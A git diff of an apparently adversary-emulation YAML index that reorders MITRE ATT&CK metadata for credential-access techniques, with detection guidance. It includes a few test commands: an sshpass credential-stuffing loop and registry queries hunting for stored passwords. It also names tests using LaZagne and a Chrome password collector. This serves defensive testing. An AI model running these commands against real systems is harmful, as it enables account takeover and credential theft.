       name: Credential API Hooking
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.138Z'
+      created: '2020-02-11T19:01:15.930Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
       description: |
         Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
 
         * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
         * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
         * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
-      id: attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-11-10T18:29:31.138Z'
-      created: '2020-02-11T19:01:15.930Z'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Metadata'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)
 
         Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.
 
         Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/004
+        external_id: T1056.004
+        source_name: mitre-attack
+      - url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
+        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
+          Retrieved December 18, 2017.
+        source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
+      - source_name: Microsoft Hook Overview
+        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: Adlice Software IAT Hooks Oct 2014
+        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
+          Retrieved December 12, 2017.'
+        url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
+      - source_name: MWRInfoSecurity Dynamic Hooking 2015
+        description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
+          Mode. Retrieved December 20, 2017.'
+        url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
+      - source_name: HighTech Bridge Inline Hooking Sept 2011
+        description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
+          December 12, 2017.
+        url: https://www.exploit-db.com/docs/17802.pdf
+      - source_name: Volatility Detecting Hooks Sept 2012
+        description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
+          Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
+        url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
+      - source_name: PreKageo Winhook Jul 2011
+        description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
+        url: https://github.com/prekageo/winhook
+      - source_name: Jay GetHooks Sept 2011
+        description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
+          12, 2017.
+        url: https://github.com/jay/gethooks
+      - source_name: Zairon Hooking Dec 2006
+        description: Felici, M. (2006, December 6). Any application-defined hook procedure
+          on my machine?. Retrieved December 12, 2017.
+        url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
+      - source_name: EyeofRa Detecting Hooking June 2017
+        description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
+          against user-land. Retrieved December 12, 2017.'
+        url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
+      - source_name: GMER Rootkits
+        description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
+        url: http://www.gmer.net/
+      - source_name: Microsoft Process Snapshot
+        description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
+          December 12, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
+      - source_name: StackExchange Hooks Jul 2012
+        description: Stack Exchange - Security. (2012, July 31). What are the methods
+          to find hooked functions and APIs?. Retrieved December 12, 2017.
+        url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
       identifier: T1056.004
     atomic_tests:
     - name: Hook PowerShell TLS Encrypt/Decrypt Messages
@@ -903,7 +951,33 @@ credential-access:
         elevation_required: true
   T1110.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Credential Stuffing
+      x_mitre_data_sources:
+      - 'User Account: User Account Authentication'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      modified: '2021-04-06T12:31:06.695Z'
+      created: '2020-02-11T18:39:59.959Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.
 
@@ -925,51 +999,25 @@ credential-access:
         * VNC (5900/TCP)
 
         In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
-      name: Credential Stuffing
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1110.004
-        url: https://attack.mitre.org/techniques/T1110/004
-      - external_id: CAPEC-600
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/600.html
-      - source_name: US-CERT TA18-068A 2018
-        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
-        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
-          by Cyber Actors. Retrieved October 2, 2019.
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-06T12:31:06.695Z'
-      created: '2020-02-11T18:39:59.959Z'
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
-      - Containers
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      x_mitre_contributors:
+      - Diogo Fernandes
+      - Anastasios Pingios
       x_mitre_detection: Monitor authentication logs for system and application login
         failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
         authentication failures are high, then there may be a brute force attempt
         to gain access to a system using legitimate credentials.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Application Log: Application Log Content'
-      x_mitre_contributors:
-      - Diogo Fernandes
-      - Anastasios Pingios
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1110/004
+        external_id: T1110.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/600.html
+        external_id: CAPEC-600
+        source_name: capec
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-086A
+        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
+          by Cyber Actors. Retrieved October 2, 2019.
+        source_name: US-CERT TA18-068A 2018
       identifier: T1110.004
     atomic_tests:
     - name: SSH Credential Stuffing From Linux
@@ -1038,65 +1086,71 @@ credential-access:
           for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
   T1552.001:
     technique:
-      id: attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc
-      description: |-
-        Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
-
-        It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
-
-        In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
-      name: Credentials In Files
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Credentials In Files
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1552/001
         external_id: T1552.001
-        url: https://attack.mitre.org/techniques/T1552/001
-      - external_id: CAPEC-639
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/639.html
+        external_id: CAPEC-639
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/639.html
-      - url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
+      - source_name: CG 2014
         description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part
           1. Retrieved November 12, 2014.
-        source_name: CG 2014
-      - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
+        url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
+      - source_name: SRD GPP
         description: 'Security Research and Defense. (2014, May 13). MS14-025: An
           Update for Group Policy Preferences. Retrieved January 28, 2015.'
-        source_name: SRD GPP
-      - source_name: Unit 42 Hildegard Malware
-        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
+        url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
+      - url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
         description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
           Malware Targeting Kubernetes. Retrieved April 5, 2021.'
-      - source_name: Unit 42 Unsecured Docker Daemons
-        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
+        source_name: Unit 42 Hildegard Malware
+      - url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
         description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
           in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
-      - source_name: Specter Ops - Cloud Credential Storage
-        url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
+        source_name: Unit 42 Unsecured Docker Daemons
+      - url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
         description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved
           October 4, 2019.
-      type: attack-pattern
+        source_name: Specter Ops - Cloud Credential Storage
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-04-12T18:32:32.803Z'
+      x_mitre_system_requirements:
+      - Access to files
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2021-04-12T18:32:32.803Z'
-      created: '2020-02-04T12:52:13.006Z'
+      id: attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc
       x_mitre_platforms:
       - Windows
       - IaaS
       - Linux
       - macOS
       - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
+      description: |-
+        Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
+
+        It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
+
+        In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
       x_mitre_contributors:
       - Rory McCune, Aqua Security
       - Jay Chen, Palo Alto Networks
       - Yossi Weizman, Azure Defender Research Team
       - Vishwas Manral, McAfee
       - Microsoft Threat Intelligence Center (MSTIC)
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
       x_mitre_detection: 'While detecting adversaries accessing these files may be
         difficult without knowing they exist in the first place, it may be possible
         to detect adversary use of credentials they have obtained. Monitor the command-line
@@ -1104,14 +1158,8 @@ credential-access:
         that may indicate searching for a password (for example: password, pwd, login,
         secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078)
         for more information.'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_system_requirements:
-      - Access to files
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created: '2020-02-04T12:52:13.006Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1552.001
     atomic_tests:
     - name: Extract Browser and System credentials with LaZagne
@@ -1185,6 +1233,26 @@ credential-access:
           cat $file ; done \n"
   T1555:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Credentials from Password Stores
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.0'
+      modified: '2021-06-21T17:58:03.788Z'
+      created: '2020-02-11T18:48:28.456Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
       id: attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0
       description: Adversaries may search for common password storage locations to
         obtain user credentials. Passwords are stored in several places on a system,
@@ -1192,39 +1260,19 @@ credential-access:
         There are also specific applications that store passwords to make it easier
         for users manage and maintain. Once credentials are obtained, they can be
         used to perform lateral movement and access restricted information.
-      name: Credentials from Password Stores
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555
-        url: https://attack.mitre.org/techniques/T1555
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2021-04-29T21:00:19.428Z'
-      created: '2020-02-11T18:48:28.456Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
       x_mitre_detection: Monitor system calls, file read events, and processes for
         suspicious activity that could indicate searching for a password  or other
         activity related to performing keyword searches (e.g. password, pwd, login,
         store, secure, credentials, etc.) in process memory for credentials. File
         read events should be monitored surrounding known password storage applications.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555
+        external_id: T1555
+        source_name: mitre-attack
       identifier: T1555
     atomic_tests:
     - name: Extract Windows Credential Manager via VBA
@@ -1314,41 +1362,29 @@ credential-access:
 '
   T1555.003:
     technique:
-      created: '2020-02-12T18:57:36.041Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Credentials from Web Browsers
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
       modified: '2021-04-14T14:03:47.293Z'
+      created: '2020-02-12T18:57:36.041Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1555.003
-        url: https://attack.mitre.org/techniques/T1555/003
-      - source_name: Talos Olympic Destroyer 2018
-        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
-        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
-          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
-      - source_name: Microsoft CryptUnprotectData April 2018
-        url: https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
-        description: Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved
-          June 18, 2019.
-      - source_name: Proofpoint Vega Credential Stealer May 2018
-        url: https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign
-        description: Proofpoint. (2018, May 10). New Vega Stealer shines brightly
-          in targeted campaign . Retrieved June 18, 2019.
-      - source_name: FireEye HawkEye Malware July 2017
-        url: https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
-        description: Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential
-          Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18,
-          2019.
-      - source_name: GitHub Mimikittenz July 2016
-        url: https://github.com/putterpanda/mimikittenz
-        description: Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz.
-          Retrieved June 20, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Credentials from Web Browsers
+      id: attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may acquire credentials from web browsers by reading
         files specific to the target browser.(Citation: Talos Olympic Destroyer 2018)
         Web browsers commonly save credentials such as website usernames and passwords
@@ -1374,19 +1410,11 @@ credential-access:
         access. This can result in significantly furthering an adversary's objective
         in cases where credentials gained from web browsers overlap with privileged
         accounts (e.g. domain administrator)."
-      id: attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_contributors:
       - Ryan Benson, Exabeam
       - Barry Shteiman, Exabeam
       - Sylvain Gil, Exabeam
       - RedHuntLabs, @redhuntlabs
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Identify web browser files that contain credentials such
         as Google Chrome’s Login Data database file: <code>AppData\Local\Google\Chrome\User
         Data\Default\Login Data</code>. Monitor file read events of web browser files
@@ -1396,12 +1424,32 @@ credential-access:
         reading web browser process memory, utilizing regular expressions, and those
         that contain numerous keywords for common web applications (Gmail, Twitter,
         Office365, etc.).'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1555/003
+        external_id: T1555.003
+        source_name: mitre-attack
+      - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
+          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
+        source_name: Talos Olympic Destroyer 2018
+      - url: https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
+        description: Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved
+          June 18, 2019.
+        source_name: Microsoft CryptUnprotectData April 2018
+      - url: https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign
+        description: Proofpoint. (2018, May 10). New Vega Stealer shines brightly
+          in targeted campaign . Retrieved June 18, 2019.
+        source_name: Proofpoint Vega Credential Stealer May 2018
+      - url: https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
+        description: Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential
+          Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18,
+          2019.
+        source_name: FireEye HawkEye Malware July 2017
+      - url: https://github.com/putterpanda/mimikittenz
+        description: Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz.
+          Retrieved June 20, 2019.
+        source_name: GitHub Mimikittenz July 2016
       identifier: T1555.003
     atomic_tests:
     - name: Run Chrome-password Collector
@@ -1631,13 +1679,38 @@ credential-access:
           -Recurse
   T1552.002:
     technique:
-      created: '2020-02-04T12:58:40.678Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Credentials in Registry
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1552/002
+        external_id: T1552.002
+        source_name: mitre-attack
+      - source_name: Pentestlab Stored Credentials
+        description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April
+          6, 2018.
+        url: https://pentestlab.blog/2017/04/19/stored-credentials/
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Access'
+      x_mitre_version: '1.0'
       modified: '2020-02-07T20:49:18.834Z'
+      x_mitre_system_requirements:
+      - Ability to query some Registry locations depends on the adversary's level
+        of access. User permissions are usually limited to access of user-related
+        Registry keys.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      type: attack-pattern
       id: attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
 
@@ -1645,40 +1718,15 @@ credential-access:
 
         * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
         * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
-      name: Credentials in Registry
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1552.002
-        url: https://attack.mitre.org/techniques/T1552/002
-      - url: https://pentestlab.blog/2017/04/19/stored-credentials/
-        description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April
-          6, 2018.
-        source_name: Pentestlab Stored Credentials
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Sudhanshu Chauhan, @Sudhanshu_C
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Access'
       x_mitre_detection: Monitor processes for applications that can be used to query
         the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and
         collect command parameters that may indicate credentials are being searched.
         Correlate activity with related suspicious behavior that may indicate an active
         intrusion to reduce false positives.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_system_requirements:
-      - Ability to query some Registry locations depends on the adversary's level
-        of access. User permissions are usually limited to access of user-related
-        Registry keys.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created: '2020-02-04T12:58:40.678Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1552.002
     atomic_tests:
     - name: Enumeration for Credentials in Registry
@@ -1708,90 +1756,90 @@ credential-access:
         name: command_prompt
   T1003.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.006
-        url: https://attack.mitre.org/techniques/T1003/006
-      - url: https://msdn.microsoft.com/library/cc228086.aspx
-        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
-          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
-        source_name: Microsoft DRSR Dec 2017
-      - url: https://msdn.microsoft.com/library/dd207691.aspx
-        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
-          4, 2017.
-        source_name: Microsoft GetNCCChanges
-      - url: https://wiki.samba.org/index.php/DRSUAPI
-        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
-        source_name: Samba DRSUAPI
-      - url: https://source.winehq.org/WineAPI/samlib.html
-        description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.
-        source_name: Wine API samlib.dll
-      - url: https://adsecurity.org/?p=1729
-        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
-          and Detection. Retrieved August 7, 2017.
-        source_name: ADSecurity Mimikatz DCSync
-      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
-        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
-          Oh My. Retrieved August 7, 2017.
-        source_name: Harmj0y Mimikatz and DCSync
-      - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
-        description: Warren, J. (2017, July 11). Manipulating User Passwords with
-          Mimikatz. Retrieved December 4, 2017.
-        source_name: InsiderThreat ChangeNTLM July 2017
-      - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
-        description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved
-          August 7, 2017.
-        source_name: GitHub Mimikatz lsadump Module
-      - url: https://msdn.microsoft.com/library/cc237008.aspx
-        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
-          Retrieved December 6, 2017.
-        source_name: Microsoft NRPC Dec 2017
-      - url: https://msdn.microsoft.com/library/cc245496.aspx
-        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
-          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
-        source_name: Microsoft SAMR
-      - url: https://adsecurity.org/?p=1729
-        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
-          and Detection. Retrieved December 4, 2017.
-        source_name: AdSecurity DCSync Sept 2015
-      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
-        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
-          Oh My. Retrieved December 4, 2017.
-        source_name: Harmj0y DCSync Sept 2015
       object_marking_refs:
